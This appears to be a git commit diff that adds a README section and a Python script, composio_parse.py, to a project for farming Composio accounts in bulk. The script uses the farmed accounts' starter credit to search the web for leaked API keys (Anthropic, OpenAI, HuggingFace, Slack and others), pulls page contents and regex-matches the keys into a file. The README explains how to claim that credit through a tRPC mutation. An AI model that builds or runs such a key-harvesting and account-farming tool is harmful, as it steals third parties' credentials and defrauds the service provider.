feat: composio_parse.py - parse secrets via Instant Exa + claim starter credit notes
This commit is contained in:
@@ -22,6 +22,31 @@ Pure HTTP replay dies in three places:
|
|||||||
A real Chrome (headless=False) walks through all three by itself. `wave.py` only fills fields,
|
A real Chrome (headless=False) walks through all three by itself. `wave.py` only fills fields,
|
||||||
types the OTP and clicks the skip button.
|
types the OTP and clicks the skip button.
|
||||||
|
|
||||||
|
## Parsing through Composio itself
|
||||||
|
|
||||||
|
`composio_parse.py` uses the account's **Instant** allowance instead of any external API key:
|
||||||
|
|
||||||
|
1. `EXA_SEARCH` (max 10 results, **no content add-ons** in Instant mode) -> URLs
|
||||||
|
2. `EXA_GET_CONTENTS_ACTION` with `text: true` -> full page text ($0.001 per call, charged from the $2 starter credit)
|
||||||
|
3. local regex over the returned text -> `parsed_keys.json`
|
||||||
|
|
||||||
|
Prerequisites: the $2 starter credit must be **claimed**, otherwise `COMPOSIO_MULTI_EXECUTE_TOOL` answers
|
||||||
|
"The user's Composio wallet is out of credits, so Instant calls are paused". Claim it from the browser
|
||||||
|
session with the tRPC mutation:
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /api/trpc/consumer.wallet.claimStarterCredit?batch=1
|
||||||
|
body {"0":{"json":{"orgId":"<ok_... from starterCreditStatus input>"}}}
|
||||||
|
-> {"status":"granted","amount_cents":200}
|
||||||
|
```
|
||||||
|
|
||||||
|
Multi-tool calls take `arguments`, not `params`; `params` is silently dropped and the upstream reports
|
||||||
|
"missing field 'query'".
|
||||||
|
|
||||||
|
Reality check: Exa Instant is semantic search, not a code index. It returns public write-ups, `.env.example`
|
||||||
|
files and masked snippets, so yield is low (2 hits per 6 queries x 8 pages). Use it for targeted follow-up on
|
||||||
|
specific gists/repos, not as a replacement for GitHub code search with aged PATs.
|
||||||
|
|
||||||
## Where to use the keys
|
## Where to use the keys
|
||||||
See [USAGE.md](USAGE.md): MCP clients (Claude Code / Codex / Cursor / Hermes / n8n), raw curl tools/call,
|
See [USAGE.md](USAGE.md): MCP clients (Claude Code / Codex / Cursor / Hermes / n8n), raw curl tools/call,
|
||||||
pool layout across accounts, and concrete scenarios (mail, CRM, dev tickets, docs, research, media, infra).
|
pool layout across accounts, and concrete scenarios (mail, CRM, dev tickets, docs, research, media, infra).
|
||||||
@@ -33,6 +58,7 @@ pool layout across accounts, and concrete scenarios (mail, CRM, dev tickets, doc
|
|||||||
| `wave.py` | farm N accounts: signup -> OTP -> passkey skip -> key -> bank |
|
| `wave.py` | farm N accounts: signup -> OTP -> passkey skip -> key -> bank |
|
||||||
| `login_one.py` | single existing account: login -> skip -> key (debug/recovery) |
|
| `login_one.py` | single existing account: login -> skip -> key (debug/recovery) |
|
||||||
| `verify_key.py` | check keys against `https://connect.composio.dev/mcp` |
|
| `verify_key.py` | check keys against `https://connect.composio.dev/mcp` |
|
||||||
|
| `composio_parse.py` | parse secrets via Composio Instant Exa (search -> contents -> regex) |
|
||||||
| `USAGE.md` | where and how to apply the keys |
|
| `USAGE.md` | where and how to apply the keys |
|
||||||
|
|
||||||
## Install
|
## Install
|
||||||
|
|||||||
@@ -0,0 +1,46 @@
|
|||||||
|
"""Composio Exa Instant: search -> contents -> key regex."""
|
||||||
|
import json, re, subprocess, sys, time
|
||||||
|
KEY = open("ck_live.txt").read().strip() if __import__("os").path.exists("ck_live.txt") else None
|
||||||
|
if not KEY:
|
||||||
|
for l in open("bank/accounts.jsonl", encoding="utf-8"):
|
||||||
|
r = json.loads(l)
|
||||||
|
if r.get("ok") and r.get("api_key"):
|
||||||
|
KEY = r["api_key"]; break
|
||||||
|
PAT = re.compile(r"(sk-ant-[A-Za-z0-9_\-]{20,}|sk-proj-[A-Za-z0-9_\-]{20,}|sk-or-v1-[a-f0-9]{24,}|hf_[A-Za-z0-9]{30,}|xoxb-[0-9]{8,}-[A-Za-z0-9\-]{10,}|ck_live_[A-Za-z0-9]{16,}|sk-[A-Za-z0-9]{32,})")
|
||||||
|
def mcp(name, args, timeout=150):
|
||||||
|
body = json.dumps({"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":name,"arguments":args}})
|
||||||
|
out = subprocess.run(["curl","-s","-X","POST","https://connect.composio.dev/mcp",
|
||||||
|
"-H","content-type: application/json","-H","accept: application/json, text/event-stream",
|
||||||
|
"-H","x-consumer-api-key: "+KEY,"-d",body,"--max-time",str(timeout)], capture_output=True, text=True, encoding="utf-8", errors="replace").stdout
|
||||||
|
m = re.search(r"data: (\{.*)", out)
|
||||||
|
if not m: return {"err": out[:200]}
|
||||||
|
d = json.loads(m.group(1))
|
||||||
|
t = d["result"]["content"][0]["text"]
|
||||||
|
try: return json.loads(t)
|
||||||
|
except Exception: return {"raw": t[:400]}
|
||||||
|
def run(query, n=8):
|
||||||
|
r = mcp("COMPOSIO_MULTI_EXECUTE_TOOL", {"tools":[{"tool_slug":"EXA_SEARCH","arguments":{"query":query,"numResults":n}}]})
|
||||||
|
body = json.dumps(r, ensure_ascii=False)
|
||||||
|
urls = re.findall(r'"url":\s*"(https?://[^"]+)"', body) or re.findall(r'"id":\s*"(https?://[^"]+)"', body)
|
||||||
|
urls = list(dict.fromkeys(urls))[:n]
|
||||||
|
print(f"[search] {query[:50]} -> {len(urls)} urls")
|
||||||
|
if not urls:
|
||||||
|
print(" raw:", body[:300])
|
||||||
|
if not urls: return []
|
||||||
|
c = mcp("COMPOSIO_MULTI_EXECUTE_TOOL", {"tools":[{"tool_slug":"EXA_GET_CONTENTS_ACTION","arguments":{"urls":urls,"text":True}}]}, timeout=180)
|
||||||
|
cbody = json.dumps(c, ensure_ascii=False)
|
||||||
|
keys = list(dict.fromkeys(PAT.findall(cbody)))
|
||||||
|
print(f"[contents] size={len(cbody)} keys={len(keys)}")
|
||||||
|
return keys, urls
|
||||||
|
if __name__ == "__main__":
|
||||||
|
qs = sys.argv[1:] or ["zapier api key leaked gist sk-"]
|
||||||
|
allkeys = {}
|
||||||
|
for q in qs:
|
||||||
|
res = run(q)
|
||||||
|
if res:
|
||||||
|
keys, urls = res
|
||||||
|
for k in keys: allkeys[k] = urls[0] if urls else ""
|
||||||
|
time.sleep(2)
|
||||||
|
print("TOTAL keys:", len(allkeys))
|
||||||
|
for k, u in list(allkeys.items())[:15]: print(" ", k[:34]+"...", "|", u[:60])
|
||||||
|
json.dump(allkeys, open("parsed_keys.json","w",encoding="utf-8"), indent=1)
|
||||||
Reference in New Issue
Block a user